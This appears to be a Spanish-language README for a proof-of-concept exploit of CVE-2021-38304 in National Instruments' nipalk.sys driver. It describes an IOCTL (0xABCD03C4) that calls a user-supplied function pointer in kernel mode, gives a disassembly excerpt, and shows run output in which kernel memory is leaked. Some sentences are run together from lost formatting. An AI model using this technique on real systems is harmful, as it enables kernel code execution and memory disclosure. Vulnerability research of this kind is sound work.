
CVE-2021-38304 Prueba de concepto
Este repositorio contiene una prueba de concepto para una vulnerabilidad de seguridad crítica en versiones antiguas del controlador nipalk.sys de National Instruments. La vulnerabilidad permite la ejecución arbitraria de código y la divulgación de memoria en modo kernel. Está destinada únicamente para investigación personal.
El controlador nipalk.sys maneja de manera inadecuada los punteros proporcionados por el usuario durante el procesamiento de una solicitud IOCTL específica. Esta falla permite a un atacante proporcionar un puntero a función que el controlador llamará en contexto de kernel con parámetros controlados.
RCX y RDX durante la llamada a la función.RtlCopyMemory, un atacante puede leer memoria arbitraria del kernel.La vulnerabilidad surge del fallo del controlador al validar los punteros proporcionados por las aplicaciones en modo usuario. Durante el procesamiento del IOCTL 0xABCD03C4, el controlador recupera un puntero a función de una estructura controlada por el usuario y lo invoca sin las comprobaciones adecuadas:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] se ejecuta en contexto de kernel.RCX y RDX son controlados por el usuario.[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
Esta PoC está destinada únicamente para fines educativos.